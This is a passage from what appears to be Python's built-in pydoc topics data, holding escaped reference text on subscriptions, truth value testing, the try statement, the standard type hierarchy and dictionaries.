of a sequence (string, tuple or list)\nor mapping (dictionary) object:\n\n subscription ::= primary "[" expression_list "]"\n\nThe primary must evaluate to an object that supports subscription,\ne.g. a list or dictionary. User-defined objects can support\nsubscription by defining a ``__getitem__()`` method.\n\nFor built-in objects, there are two types of objects that support\nsubscription:\n\nIf the primary is a mapping, the expression list must evaluate to an\nobject whose value is one of the keys of the mapping, and the\nsubscription selects the value in the mapping that corresponds to that\nkey. (The expression list is a tuple except if it has exactly one\nitem.)\n\nIf the primary is a sequence, the expression (list) must evaluate to\nan integer or a slice (as discussed in the following section).\n\nThe formal syntax makes no special provision for negative indices in\nsequences; however, built-in sequences all provide a ``__getitem__()``\nmethod that interprets negative indices by adding the length of the\nsequence to the index (so that ``x[-1]`` selects the last item of\n``x``). The resulting value must be a nonnegative integer less than\nthe number of items in the sequence, and the subscription selects the\nitem whose index is that value (counting from zero). Since the support\nfor negative indices and slicing occurs in the object\'s\n``__getitem__()`` method, subclasses overriding this method will need\nto explicitly add that support.\n\nA string\'s items are characters. A character is not a separate data\ntype but a string of exactly one character.\n', 'truth': "\nTruth Value Testing\n*******************\n\nAny object can be tested for truth value, for use in an ``if`` or\n``while`` condition or as operand of the Boolean operations below. The\nfollowing values are considered false:\n\n* ``None``\n\n* ``False``\n\n* zero of any numeric type, for example, ``0``, ``0.0``, ``0j``.\n\n* any empty sequence, for example, ``''``, ``()``, ``[]``.\n\n* any empty mapping, for example, ``{}``.\n\n* instances of user-defined classes, if the class defines a\n ``__bool__()`` or ``__len__()`` method, when that method returns the\n integer zero or ``bool`` value ``False``. [1]\n\nAll other values are considered true --- so objects of many types are\nalways true.\n\nOperations and built-in functions that have a Boolean result always\nreturn ``0`` or ``False`` for false and ``1`` or ``True`` for true,\nunless otherwise stated. (Important exception: the Boolean operations\n``or`` and ``and`` always return one of their operands.)\n", 'try': '\nThe ``try`` statement\n*********************\n\nThe ``try`` statement specifies exception handlers and/or cleanup code\nfor a group of statements:\n\n try_stmt ::= try1_stmt | try2_stmt\n try1_stmt ::= "try" ":" suite\n ("except" [expression ["as" target]] ":" suite)+\n ["else" ":" suite]\n ["finally" ":" suite]\n try2_stmt ::= "try" ":" suite\n "finally" ":" suite\n\nThe ``except`` clause(s) specify one or more exception handlers. When\nno exception occurs in the ``try`` clause, no exception handler is\nexecuted. When an exception occurs in the ``try`` suite, a search for\nan exception handler is started. This search inspects the except\nclauses in turn until one is found that matches the exception. An\nexpression-less except clause, if present, must be last; it matches\nany exception. For an except clause with an expression, that\nexpression is evaluated, and the clause matches the exception if the\nresulting object is "compatible" with the exception. An object is\ncompatible with an exception if it is the class or a base class of the\nexception object or a tuple containing an item compatible with the\nexception.\n\nIf no except clause matches the exception, the search for an exception\nhandler continues in the surrounding code and on the invocation stack.\n[1]\n\nIf the evaluation of an expression in the header of an except clause\nraises an exception, the original search for a handler is canceled and\na search starts for the new exception in the surrounding code and on\nthe call stack (it is treated as if the entire ``try`` statement\nraised the exception).\n\nWhen a matching except clause is found, the exception is assigned to\nthe target specified after the ``as`` keyword in that except clause,\nif present, and the except clause\'s suite is executed. All except\nclauses must have an executable block. When the end of this block is\nreached, execution continues normally after the entire try statement.\n(This means that if two nested handlers exist for the same exception,\nand the exception occurs in the try clause of the inner handler, the\nouter handler will not handle the exception.)\n\nWhen an exception has been assigned using ``as target``, it is cleared\nat the end of the except clause. This is as if\n\n except E as N:\n foo\n\nwas translated to\n\n except E as N:\n try:\n foo\n finally:\n del N\n\nThis means the exception must be assigned to a different name to be\nable to refer to it after the except clause. Exceptions are cleared\nbecause with the traceback attached to them, they form a reference\ncycle with the stack frame, keeping all locals in that frame alive\nuntil the next garbage collection occurs.\n\nBefore an except clause\'s suite is executed, details about the\nexception are stored in the ``sys`` module and can be access via\n``sys.exc_info()``. ``sys.exc_info()`` returns a 3-tuple consisting of\nthe exception class, the exception instance and a traceback object\n(see section *The standard type hierarchy*) identifying the point in\nthe program where the exception occurred. ``sys.exc_info()`` values\nare restored to their previous values (before the call) when returning\nfrom a function that handled an exception.\n\nThe optional ``else`` clause is executed if and when control flows off\nthe end of the ``try`` clause. [2] Exceptions in the ``else`` clause\nare not handled by the preceding ``except`` clauses.\n\nIf ``finally`` is present, it specifies a \'cleanup\' handler. The\n``try`` clause is executed, including any ``except`` and ``else``\nclauses. If an exception occurs in any of the clauses and is not\nhandled, the exception is temporarily saved. The ``finally`` clause is\nexecuted. If there is a saved exception it is re-raised at the end of\nthe ``finally`` clause. If the ``finally`` clause raises another\nexception, the saved exception is set as the context of the new\nexception. If the ``finally`` clause executes a ``return`` or\n``break`` statement, the saved exception is discarded:\n\n def f():\n try:\n 1/0\n finally:\n return 42\n\n >>> f()\n 42\n\nThe exception information is not available to the program during\nexecution of the ``finally`` clause.\n\nWhen a ``return``, ``break`` or ``continue`` statement is executed in\nthe ``try`` suite of a ``try``...``finally`` statement, the\n``finally`` clause is also executed \'on the way out.\' A ``continue``\nstatement is illegal in the ``finally`` clause. (The reason is a\nproblem with the current implementation --- this restriction may be\nlifted in the future).\n\nAdditional information on exceptions can be found in section\n*Exceptions*, and information on using the ``raise`` statement to\ngenerate exceptions may be found in section *The raise statement*.\n', 'types': '\nThe standard type hierarchy\n***************************\n\nBelow is a list of the types that are built into Python. Extension\nmodules (written in C, Java, or other languages, depending on the\nimplementation) can define additional types. Future versions of\nPython may add types to the type hierarchy (e.g., rational numbers,\nefficiently stored arrays of integers, etc.), although such additions\nwill often be provided via the standard library instead.\n\nSome of the type descriptions below contain a paragraph listing\n\'special attributes.\' These are attributes that provide access to the\nimplementation and are not intended for general use. Their definition\nmay change in the future.\n\nNone\n This type has a single value. There is a single object with this\n value. This object is accessed through the built-in name ``None``.\n It is used to signify the absence of a value in many situations,\n e.g., it is returned from functions that don\'t explicitly return\n anything. Its truth value is false.\n\nNotImplemented\n This type has a single value. There is a single object with this\n value. This object is accessed through the built-in name\n ``NotImplemented``. Numeric methods and rich comparison methods may\n return this value if they do not implement the operation for the\n operands provided. (The interpreter will then try the reflected\n operation, or some other fallback, depending on the operator.) Its\n truth value is true.\n\nEllipsis\n This type has a single value. There is a single object with this\n value. This object is accessed through the literal ``...`` or the\n built-in name ``Ellipsis``. Its truth value is true.\n\n``numbers.Number``\n These are created by numeric literals and returned as results by\n arithmetic operators and arithmetic built-in functions. Numeric\n objects are immutable; once created their value never changes.\n Python numbers are of course strongly related to mathematical\n numbers, but subject to the limitations of numerical representation\n in computers.\n\n Python distinguishes between integers, floating point numbers, and\n complex numbers:\n\n ``numbers.Integral``\n These represent elements from the mathematical set of integers\n (positive and negative).\n\n There are two types of integers:\n\n Integers (``int``)\n\n These represent numbers in an unlimited range, subject to\n available (virtual) memory only. For the purpose of shift\n and mask operations, a binary representation is assumed, and\n negative numbers are represented in a variant of 2\'s\n complement which gives the illusion of an infinite string of\n sign bits extending to the left.\n\n Booleans (``bool``)\n These represent the truth values False and True. The two\n objects representing the values False and True are the only\n Boolean objects. The Boolean type is a subtype of the integer\n type, and Boolean values behave like the values 0 and 1,\n respectively, in almost all contexts, the exception being\n that when converted to a string, the strings ``"False"`` or\n ``"True"`` are returned, respectively.\n\n The rules for integer representation are intended to give the\n most meaningful interpretation of shift and mask operations\n involving negative integers.\n\n ``numbers.Real`` (``float``)\n These represent machine-level double precision floating point\n numbers. You are at the mercy of the underlying machine\n architecture (and C or Java implementation) for the accepted\n range and handling of overflow. Python does not support single-\n precision floating point numbers; the savings in processor and\n memory usage that are usually the reason for using these is\n dwarfed by the overhead of using objects in Python, so there is\n no reason to complicate the language with two kinds of floating\n point numbers.\n\n ``numbers.Complex`` (``complex``)\n These represent complex numbers as a pair of machine-level\n double precision floating point numbers. The same caveats apply\n as for floating point numbers. The real and imaginary parts of a\n complex number ``z`` can be retrieved through the read-only\n attributes ``z.real`` and ``z.imag``.\n\nSequences\n These represent finite ordered sets indexed by non-negative\n numbers. The built-in function ``len()`` returns the number of\n items of a sequence. When the length of a sequence is *n*, the\n index set contains the numbers 0, 1, ..., *n*-1. Item *i* of\n sequence *a* is selected by ``a[i]``.\n\n Sequences also support slicing: ``a[i:j]`` selects all items with\n index *k* such that *i* ``<=`` *k* ``<`` *j*. When used as an\n expression, a slice is a sequence of the same type. This implies\n that the index set is renumbered so that it starts at 0.\n\n Some sequences also support "extended slicing" with a third "step"\n parameter: ``a[i:j:k]`` selects all items of *a* with index *x*\n where ``x = i + n*k``, *n* ``>=`` ``0`` and *i* ``<=`` *x* ``<``\n *j*.\n\n Sequences are distinguished according to their mutability:\n\n Immutable sequences\n An object of an immutable sequence type cannot change once it is\n created. (If the object contains references to other objects,\n these other objects may be mutable and may be changed; however,\n the collection of objects directly referenced by an immutable\n object cannot change.)\n\n The following types are immutable sequences:\n\n Strings\n A string is a sequence of values that represent Unicode\n codepoints. All the codepoints in range ``U+0000 - U+10FFFF``\n can be represented in a string. Python doesn\'t have a\n ``chr`` type, and every character in the string is\n represented as a string object with length ``1``. The built-\n in function ``ord()`` converts a character to its codepoint\n (as an integer); ``chr()`` converts an integer in range ``0 -\n 10FFFF`` to the corresponding character. ``str.encode()`` can\n be used to convert a ``str`` to ``bytes`` using the given\n encoding, and ``bytes.decode()`` can be used to achieve the\n opposite.\n\n Tuples\n The items of a tuple are arbitrary Python objects. Tuples of\n two or more items are formed by comma-separated lists of\n expressions. A tuple of one item (a \'singleton\') can be\n formed by affixing a comma to an expression (an expression by\n itself does not create a tuple, since parentheses must be\n usable for grouping of expressions). An empty tuple can be\n formed by an empty pair of parentheses.\n\n Bytes\n A bytes object is an immutable array. The items are 8-bit\n bytes, represented by integers in the range 0 <= x < 256.\n Bytes literals (like ``b\'abc\'``) and the built-in function\n ``bytes()`` can be used to construct bytes objects. Also,\n bytes objects can be decoded to strings via the ``decode()``\n method.\n\n Mutable sequences\n Mutable sequences can be changed after they are created. The\n subscription and slicing notations can be used as the target of\n assignment and ``del`` (delete) statements.\n\n There are currently two intrinsic mutable sequence types:\n\n Lists\n The items of a list are arbitrary Python objects. Lists are\n formed by placing a comma-separated list of expressions in\n square brackets. (Note that there are no special cases needed\n to form lists of length 0 or 1.)\n\n Byte Arrays\n A bytearray object is a mutable array. They are created by\n the built-in ``bytearray()`` constructor. Aside from being\n mutable (and hence unhashable), byte arrays otherwise provide\n the same interface and functionality as immutable bytes\n objects.\n\n The extension module ``array`` provides an additional example of\n a mutable sequence type, as does the ``collections`` module.\n\nSet types\n These represent unordered, finite sets of unique, immutable\n objects. As such, they cannot be indexed by any subscript. However,\n they can be iterated over, and the built-in function ``len()``\n returns the number of items in a set. Common uses for sets are fast\n membership testing, removing duplicates from a sequence, and\n computing mathematical operations such as intersection, union,\n difference, and symmetric difference.\n\n For set elements, the same immutability rules apply as for\n dictionary keys. Note that numeric types obey the normal rules for\n numeric comparison: if two numbers compare equal (e.g., ``1`` and\n ``1.0``), only one of them can be contained in a set.\n\n There are currently two intrinsic set types:\n\n Sets\n These represent a mutable set. They are created by the built-in\n ``set()`` constructor and can be modified afterwards by several\n methods, such as ``add()``.\n\n Frozen sets\n These represent an immutable set. They are created by the\n built-in ``frozenset()`` constructor. As a frozenset is\n immutable and *hashable*, it can be used again as an element of\n another set, or as a dictionary key.\n\nMappings\n These represent finite sets of objects indexed by arbitrary index\n sets. The subscript notation ``a[k]`` selects the item indexed by\n ``k`` from the mapping ``a``; this can be used in expressions and\n as the target of assignments or ``del`` statements. The built-in\n function ``len()`` returns the number of items in a mapping.\n\n There is currently a single intrinsic mapping type:\n\n Dictionaries\n These represent finite sets of objects indexed by nearly\n arbitrary values. The only types of values not acceptable as\n keys are values containing lists or dictionaries or other\n mutable types that are compared by value rather than by object\n identity, the reason being that the efficient implementation of\n dictionaries requires a key\'s hash value to remain constant.\n Numeric types used for keys obey the normal rules for numeric\n comparison: if two numbers compare equal (e.g., ``1`` and\n ``1.0``) then they can be used interchangeably to index the same\n dictionary entry.\n\n Dictionaries are mutable; they can be created by the ``{...}``\n notation (see section *Dictionary displays*).\n\n The extension modules ``dbm.ndbm`` and ``dbm.gnu`` provide\n additional examples of mapping types, as does the\n ``collections`` module.\n\nCallable types\n These are the types to which the function call operation (see\n section *Calls*) can be applied:\n\n User-defined functions\n A user-defined function object is created by a function\n definition (see section *Function definitions*). It should be\n called with an argument list containing the same number of items\n as the function\'s formal parameter list.\n\n Special attributes:\n\n +---------------------------+---------------------------------+-------------+\n | Attribute | Meaning | |\n +===========================+=================================+=============+\n | ``__doc__`` | The function\'s documentation | Writable |\n | | string, or ``None`` if | |\n | | unavailable | |\n +---------------------------+---------------------------------+-------------+\n | ``__name__`` | The function\'s name | Writable |\n +---------------------------+---------------------------------+-------------+\n | ``__qualname__`` | The function\'s *qualified name* | Writable |\n | | New in version 3.3. | |\n +---------------------------+---------------------------------+-------------+\n | ``__module__`` | The name of the module the | Writable |\n | | function was defined in, or | |\n | | ``None`` if unavailable. | |\n +---------------------------+---------------------------------+-------------+\n | ``__defaults__`` | A tuple containing default | Writable |\n | | argument values for those | |\n | | arguments that have defaults, | |\n | | or ``None`` if no arguments | |\n | | have a default value | |\n +---------------------------+---------------------------------+-------------+\n | ``__code__`` | The code object representing | Writable |\n | | the compiled function body. | |\n +---------------------------+---------------------------------+-------------+\n | ``__globals__`` | A reference to the dictionary | Read-only |\n | | that holds the function\'s | |\n | | global variables --- the global | |\n | | namespace of the module in | |\n | | which the function was defined. | |\n +---------------------------+---------------------------------+-------------+\n | ``__dict__`` | The namespace supporting | Writable |\n | | arbitrary function attributes. | |\n +---------------------------+---------------------------------+-------------+\n | ``__closure__`` | ``None`` or a tuple of cells | Read-only |\n | | that contain bindings for the | |\n | | function\'s free variables. | |\n +---------------------------+---------------------------------+-------------+\n | ``__annotations__`` | A dict containing annotations | Writable |\n | | of parameters. The keys of the | |\n | | dict are the parameter names, | |\n | | or ``\'return\'`` for the return | |\n | | annotation, if provided. | |\n +---------------------------+---------------------------------+-------------+\n | ``__kwdefaults__`` | A dict containing defaults for | Writable |\n | | keyword-only parameters. | |\n +---------------------------+---------------------------------+-------------+\n\n Most of the attributes labelled "Writable" check the type of the\n assigned value.\n\n Function objects also support getting and setting arbitrary\n attributes, which can be used, for example, to attach metadata\n to functions. Regular attribute dot-notation is used to get and\n set such attributes. *Note that the current implementation only\n supports function attributes on user-defined functions. Function\n attributes on built-in functions may be supported in the\n future.*\n\n Additional information about a function\'s definition can be\n retrieved from its code object; see the description of internal\n types below.\n\n Instance methods\n An instance method object combines a class, a class instance and\n any callable object (normally a user-defined function).\n\n Special read-only attributes: ``__self__`` is the class instance\n object, ``__func__`` is the function object; ``__doc__`` is the\n method\'s documentation (same as ``__func__.__doc__``);\n ``__name__`` is the method name (same as ``__func__.__name__``);\n ``__module__`` is the name of the module the method was defined\n in, or ``None`` if unavailable.\n\n Methods also support accessing (but not setting) the arbitrary\n function attributes on the underlying function object.\n\n User-defined method objects may be created when getting an\n attribute of a class (perhaps via an instance of that class), if\n that attribute is a user-defined function object or a class\n method object.\n\n When an instance method object is created by retrieving a user-\n defined function object from a class via one of its instances,\n its ``__self__`` attribute is the instance, and the method\n object is said to be bound. The new method\'s ``__func__``\n attribute is the original function object.\n\n When a user-defined method object is created by retrieving\n another method object from a class or instance, the behaviour is\n the same as for a function object, except that the ``__func__``\n attribute of the new instance is not the original method object\n but its ``__func__`` attribute.\n\n When an instance method object is created by retrieving a class\n method object from a class or instance, its ``__self__``\n attribute is the class itself, and its ``__func__`` attribute is\n the function object underlying the class method.\n\n When an instance method object is called, the underlying\n function (``__func__``) is called, inserting the class instance\n (``__self__``) in front of the argument list. For instance,\n when ``C`` is a class which contains a definition for a function\n ``f()``, and ``x`` is an instance of ``C``, calling ``x.f(1)``\n is equivalent to calling ``C.f(x, 1)``.\n\n When an instance method object is derived from a class method\n object, the "class instance" stored in ``__self__`` will\n actually be the class itself, so that calling either ``x.f(1)``\n or ``C.f(1)`` is equivalent to calling ``f(C,1)`` where ``f`` is\n the underlying function.\n\n Note that the transformation from function object to instance\n method object happens each time the attribute is retrieved from\n the instance. In some cases, a fruitful optimization is to\n assign the attribute to a local variable and call that local\n variable. Also notice that this transformation only happens for\n user-defined functions; other callable objects (and all non-\n callable objects) are retrieved without transformation. It is\n also important to note that user-defined functions which are\n attributes of a class instance are not converted to bound\n methods; this *only* happens when the function is an attribute\n of the class.\n\n Generator functions\n A function or method which uses the ``yield`` statement (see\n section *The yield statement*) is called a *generator function*.\n Such a function, when called, always returns an iterator object\n which can be used to execute the body of the function: calling\n the iterator\'s ``iterator__next__()`` method will cause the\n function to execute until it provides a value using the\n ``yield`` statement. When the function executes a ``return``\n statement or falls off the end, a ``StopIteration`` exception is\n raised and the iterator will have reached the end of the set of\n values to be returned.\n\n Built-in functions\n A built-in function object is a wrapper around a C function.\n Examples of built-in functions are ``len()`` and ``math.sin()``\n (``math`` is a standard built-in module). The number and type of\n the arguments are determined by the C function. Special read-\n only attributes: ``__doc__`` is the function\'s documentation\n string, or ``None`` if unavailable; ``__name__`` is the\n function\'s name; ``__self__`` is set to ``None`` (but see the\n next item); ``__module__`` is the name of the module the\n function was defined in or ``None`` if unavailable.\n\n Built-in methods\n This is really a different disguise of a built-in function, this\n time containing an object passed to the C function as an\n implicit extra argument. An example of a built-in method is\n ``alist.append()``, assuming *alist* is a list object. In this\n case, the special read-only attribute ``__self__`` is set to the\n object denoted by *alist*.\n\n Classes\n Classes are callable. These objects normally act as factories\n for new instances of themselves, but variations are possible for\n class types that override ``__new__()``. The arguments of the\n call are passed to ``__new__()`` and, in the typical case, to\n ``__init__()`` to initialize the new instance.\n\n Class Instances\n Instances of arbitrary classes can be made callable by defining\n a ``__call__()`` method in their class.\n\nModules\n Modules are a basic organizational unit of Python code, and are\n created by the *import system* as invoked either by the ``import``\n statement (see ``import``), or by calling functions such as\n ``importlib.import_module()`` and built-in ``__import__()``. A\n module object has a namespace implemented by a dictionary object\n (this is the dictionary referenced by the ``__globals__`` attribute\n of functions defined in the module). Attribute references are\n translated to lookups in this dictionary, e.g., ``m.x`` is\n equivalent to ``m.__dict__["x"]``. A module object does not contain\n the code object used to initialize the module (since it isn\'t\n needed once the initialization is done).\n\n Attribute assignment updates the module\'s namespace dictionary,\n e.g., ``m.x = 1`` is equivalent to ``m.__dict__["x"] = 1``.\n\n Special read-only attribute: ``__dict__`` is the module\'s namespace\n as a dictionary object.\n\n **CPython implementation detail:** Because of the way CPython\n clears module dictionaries, the module dictionary will be cleared\n when the module falls out of scope even if the dictionary still has\n live references. To avoid this, copy the dictionary or keep the\n module around while using its dictionary directly.\n\n Predefined (writable) attributes: ``__name__`` is the module\'s\n name; ``__doc__`` is the module\'s documentation string, or ``None``\n if unavailable; ``__file__`` is the pathname of the file from which\n the module was loaded, if it was loaded from a file. The\n ``__file__`` attribute may be missing for certain types of modules,\n such as C modules that are statically linked into the interpreter;\n for extension modules loaded dynamically from a shared library, it\n is the pathname of the shared library file.\n\nCustom classes\n Custom class types are typically created by class definitions (see\n section *Class definitions*). A class has a namespace implemented\n by a dictionary object. Class attribute references are translated\n to lookups in this dictionary, e.g., ``C.x`` is translated to\n ``C.__dict__["x"]`` (although there are a number of hooks which\n allow for other means of locating attributes). When the attribute\n name is not found there, the attribute search continues in the base\n classes. This search of the base classes uses the C3 method\n resolution order which behaves correctly even in the presence of\n \'diamond\' inheritance structures where there are multiple\n inheritance paths leading back to a common ancestor. Additional\n details on the C3 MRO used by Python can be found in the\n documentation accompanying the 2.3 release at\n http://www.python.org/download/releases/2.3/mro/.\n\n When a class attribute reference (for class ``C``, say) would yield\n a class method object, it is transformed into an instance method\n object whose ``__self__`` attributes is ``C``. When it would yield\n a static method object, it is transformed into the object wrapped\n by the static method object. See section *Implementing Descriptors*\n for another way in which attributes retrieved from a class may\n differ from those actually contained in its ``__dict__``.\n\n Class attribute assignments update the class\'s dictionary, never\n the dictionary of a base class.\n\n A class object can be called (see above) to yield a class instance\n (see below).\n\n Special attributes: ``__name__`` is the class name; ``__module__``\n is the module name in which the class was defined; ``__dict__`` is\n the dictionary containing the class\'s namespace; ``__bases__`` is a\n tuple (possibly empty or a singleton) containing the base classes,\n in the order of their occurrence in the base class list;\n ``__doc__`` is the class\'s documentation string, or None if\n undefined.\n\nClass instances\n A class instance is created by calling a class object (see above).\n A class instance has a namespace implemented as a dictionary which\n is the first place in which attribute references are searched.\n When an attribute is not found there, and the instance\'s class has\n an attribute by that name, the search continues with the class\n attributes. If a class attribute is found that is a user-defined\n function object, it is transformed into an instance method object\n whose ``__self__`` attribute is the instance. Static method and\n class method objects are also transformed; see above under\n "Classes". See section *Implementing Descriptors* for another way\n in which attributes of a class retrieved via its instances may\n differ from the objects actually stored in the class\'s\n ``__dict__``. If no class attribute is found, and the object\'s\n class has a ``__getattr__()`` method, that is called to satisfy the\n lookup.\n\n Attribute assignments and deletions update the instance\'s\n dictionary, never a class\'s dictionary. If the class has a\n ``__setattr__()`` or ``__delattr__()`` method, this is called\n instead of updating the instance dictionary directly.\n\n Class instances can pretend to be numbers, sequences, or mappings\n if they have methods with certain special names. See section\n *Special method names*.\n\n Special attributes: ``__dict__`` is the attribute dictionary;\n ``__class__`` is the instance\'s class.\n\nI/O objects (also known as file objects)\n A *file object* represents an open file. Various shortcuts are\n available to create file objects: the ``open()`` built-in function,\n and also ``os.popen()``, ``os.fdopen()``, and the ``makefile()``\n method of socket objects (and perhaps by other functions or methods\n provided by extension modules).\n\n The objects ``sys.stdin``, ``sys.stdout`` and ``sys.stderr`` are\n initialized to file objects corresponding to the interpreter\'s\n standard input, output and error streams; they are all open in text\n mode and therefore follow the interface defined by the\n ``io.TextIOBase`` abstract class.\n\nInternal types\n A few types used internally by the interpreter are exposed to the\n user. Their definitions may change with future versions of the\n interpreter, but they are mentioned here for completeness.\n\n Code objects\n Code objects represent *byte-compiled* executable Python code,\n or *bytecode*. The difference between a code object and a\n function object is that the function object contains an explicit\n reference to the function\'s globals (the module in which it was\n defined), while a code object contains no context; also the\n default argument values are stored in the function object, not\n in the code object (because they represent values calculated at\n run-time). Unlike function objects, code objects are immutable\n and contain no references (directly or indirectly) to mutable\n objects.\n\n Special read-only attributes: ``co_name`` gives the function\n name; ``co_argcount`` is the number of positional arguments\n (including arguments with default values); ``co_nlocals`` is the\n number of local variables used by the function (including\n arguments); ``co_varnames`` is a tuple containing the names of\n the local variables (starting with the argument names);\n ``co_cellvars`` is a tuple containing the names of local\n variables that are referenced by nested functions;\n ``co_freevars`` is a tuple containing the names of free\n variables; ``co_code`` is a string representing the sequence of\n bytecode instructions; ``co_consts`` is a tuple containing the\n literals used by the bytecode; ``co_names`` is a tuple\n containing the names used by the bytecode; ``co_filename`` is\n the filename from which the code was compiled;\n ``co_firstlineno`` is the first line number of the function;\n ``co_lnotab`` is a string encoding the mapping from bytecode\n offsets to line numbers (for details see the source code of the\n interpreter); ``co_stacksize`` is the required stack size\n (including local variables); ``co_flags`` is an integer encoding\n a number of flags for the interpreter.\n\n The following flag bits are defined for ``co_flags``: bit\n ``0x04`` is set if the function uses the ``*arguments`` syntax\n to accept an arbitrary number of positional arguments; bit\n ``0x08`` is set if the function uses the ``**keywords`` syntax\n to accept arbitrary keyword arguments; bit ``0x20`` is set if\n the function is a generator.\n\n Future feature declarations (``from __future__ import\n division``) also use bits in ``co_flags`` to indicate whether a\n code object was compiled with a particular feature enabled: bit\n ``0x2000`` is set if the function was compiled with future\n division enabled; bits ``0x10`` and ``0x1000`` were used in\n earlier versions of Python.\n\n Other bits in ``co_flags`` are reserved for internal use.\n\n If a code object represents a function, the first item in\n ``co_consts`` is the documentation string of the function, or\n ``None`` if undefined.\n\n Frame objects\n Frame objects represent execution frames. They may occur in\n traceback objects (see below).\n\n Special read-only attributes: ``f_back`` is to the previous\n stack frame (towards the caller), or ``None`` if this is the\n bottom stack frame; ``f_code`` is the code object being executed\n in this frame; ``f_locals`` is the dictionary used to look up\n local variables; ``f_globals`` is used for global variables;\n ``f_builtins`` is used for built-in (intrinsic) names;\n ``f_lasti`` gives the precise instruction (this is an index into\n the bytecode string of the code object).\n\n Special writable attributes: ``f_trace``, if not ``None``, is a\n function called at the start of each source code line (this is\n used by the debugger); ``f_lineno`` is the current line number\n of the frame --- writing to this from within a trace function\n jumps to the given line (only for the bottom-most frame). A\n debugger can implement a Jump command (aka Set Next Statement)\n by writing to f_lineno.\n\n Traceback objects\n Traceback objects represent a stack trace of an exception. A\n traceback object is created when an exception occurs. When the\n search for an exception handler unwinds the execution stack, at\n each unwound level a traceback object is inserted in front of\n the current traceback. When an exception handler is entered,\n the stack trace is made available to the program. (See section\n *The try statement*.) It is accessible as the third item of the\n tuple returned by ``sys.exc_info()``. When the program contains\n no suitable handler, the stack trace is written (nicely\n formatted) to the standard error stream; if the interpreter is\n interactive, it is also made available to the user as\n ``sys.last_traceback``.\n\n Special read-only attributes: ``tb_next`` is the next level in\n the stack trace (towards the frame where the exception\n occurred), or ``None`` if there is no next level; ``tb_frame``\n points to the execution frame of the current level;\n ``tb_lineno`` gives the line number where the exception\n occurred; ``tb_lasti`` indicates the precise instruction. The\n line number and last instruction in the traceback may differ\n from the line number of its frame object if the exception\n occurred in a ``try`` statement with no matching except clause\n or with a finally clause.\n\n Slice objects\n Slice objects are used to represent slices for ``__getitem__()``\n methods. They are also created by the built-in ``slice()``\n function.\n\n Special read-only attributes: ``start`` is the lower bound;\n ``stop`` is the upper bound; ``step`` is the step value; each is\n ``None`` if omitted. These attributes can have any type.\n\n Slice objects support one method:\n\n slice.indices(self, length)\n\n This method takes a single integer argument *length* and\n computes information about the slice that the slice object\n would describe if applied to a sequence of *length* items.\n It returns a tuple of three integers; respectively these are\n the *start* and *stop* indices and the *step* or stride\n length of the slice. Missing or out-of-bounds indices are\n handled in a manner consistent with regular slices.\n\n Static method objects\n Static method objects provide a way of defeating the\n transformation of function objects to method objects described\n above. A static method object is a wrapper around any other\n object, usually a user-defined method object. When a static\n method object is retrieved from a class or a class instance, the\n object actually returned is the wrapped object, which is not\n subject to any further transformation. Static method objects are\n not themselves callable, although the objects they wrap usually\n are. Static method objects are created by the built-in\n ``staticmethod()`` constructor.\n\n Class method objects\n A class method object, like a static method object, is a wrapper\n around another object that alters the way in which that object\n is retrieved from classes and class instances. The behaviour of\n class method objects upon such retrieval is described above,\n under "User-defined methods". Class method objects are created\n by the built-in ``classmethod()`` constructor.\n', 'typesfunctions': '\nFunctions\n*********\n\nFunction objects are created by function definitions. The only\noperation on a function object is to call it: ``func(argument-list)``.\n\nThere are really two flavors of function objects: built-in functions\nand user-defined functions. Both support the same operation (to call\nthe function), but the implementation is different, hence the\ndifferent object types.\n\nSee *Function definitions* for more information.\n', 'typesmapping': '\nMapping Types --- ``dict``\n**************************\n\nA *mapping* object maps *hashable* values to arbitrary objects.\nMappings are mutable objects. There is currently only one standard\nmapping type, the *dictionary*. (For other containers see the built-\nin ``list``, ``set``, and ``tuple`` classes, and the ``collections``\nmodule.)\n\nA dictionary\'s keys are *almost* arbitrary values. Values that are\nnot *hashable*, that is, values containing lists, dictionaries or\nother mutable types (that are compared by value rather than by object\nidentity) may not be used as keys. Numeric types used for keys obey\nthe normal rules for numeric comparison: if two numbers compare equal\n(such as ``1`` and ``1.0``) then they can be used interchangeably to\nindex the same dictionary entry. (Note however, that since computers\nstore floating-point numbers as approximations it is usually unwise to\nuse them as dictionary keys.)\n\nDictionaries can be created by placing a comma-separated list of\n``key: value`` pairs within braces, for example: ``{\'jack\': 4098,\n\'sjoerd\': 4127}`` or ``{4098: \'jack\', 4127: \'sjoerd\'}``, or by the\n``dict`` constructor.\n\nclass class dict(**kwarg)\nclass class dict(mapping, **kwarg)\nclass class dict(iterable, **kwarg)\n\n Return a new dictionary initialized from an optional positional\n argument and a possibly empty set of keyword arguments.\n\n If no positional argument is given, an empty dictionary is created.\n If a positional argument is given and it is a mapping object, a\n dictionary is created with the same key-value pairs as the mapping\n object. Otherwise, the positional argument must be an *iterator*\n object. Each item in the iterable must itself be an iterator with\n exactly two objects. The first object of each item becomes a key\n in the new dictionary, and the second object the corresponding\n value. If a key occurs more than once, the last value for that key\n becomes the corresponding value in the new dictionary.\n\n If keyword arguments are given, the keyword arguments and their\n values are added to the dictionary created from the positional\n argument. If a key being added is already present, the value from\n the keyword argument replaces the value from the positional\n argument.\n\n To illustrate, the following examples all return a dictionary equal\n to ``{"one": 1, "two": 2, "three": 3}``:\n\n >>> a = dict(one=1, two=2, three=3)\n >>> b = {\'one\': 1, \'two\': 2, \'three\': 3}\n >>> c = dict(zip([\'one\', \'two\', \'three\'], [1, 2, 3]))\n >>> d = dict([(\'two\', 2), (\'one\', 1), (\'three\', 3)])\n >>> e = dict({\'three\': 3, \'one\': 1, \'two\': 2})\n >>> a == b == c == d == e\n True\n\n Providing keyword arguments as in the first example only works for\n keys that are valid Python identifiers. Otherwise, any valid keys\n can be used.\n\n These are the operations that dictionaries support (and therefore,\n custom mapping types should support too):\n\n len(d)\n\n Return the number of items in the dictionary *d*.\n\n d[key]\n\n Return the item of *d* with key *key*. Raises a ``KeyError`` if\n *key* is not in the map.\n\n If a subclass of dict defines a method ``__missing__()``, if the\n key *key* is not present, the ``d[key]`` operation calls that\n method with the key *key* as argument. The ``d[key]`` operation\n then returns or raises whatever is returned or raised by the\n ``__missing__(key)`` call if the key is not present. No other\n operations or methods invoke ``__missing__()``. If\n ``__missing__()`` is not defined, ``KeyError`` is raised.\n ``__missing__()`` must be a method; it cannot be an instance\n variable:\n\n >>> class Counter(dict):\n ... def __missing__(self, key):\n ... return 0\n >>> c = Counter()\n >>> c[\'red\']\n 0\n >>> c[\'red\'] += 1\n >>> c[\'red\']\n 1\n\n See ``collections.Counter`` for a complete implementation\n including other methods 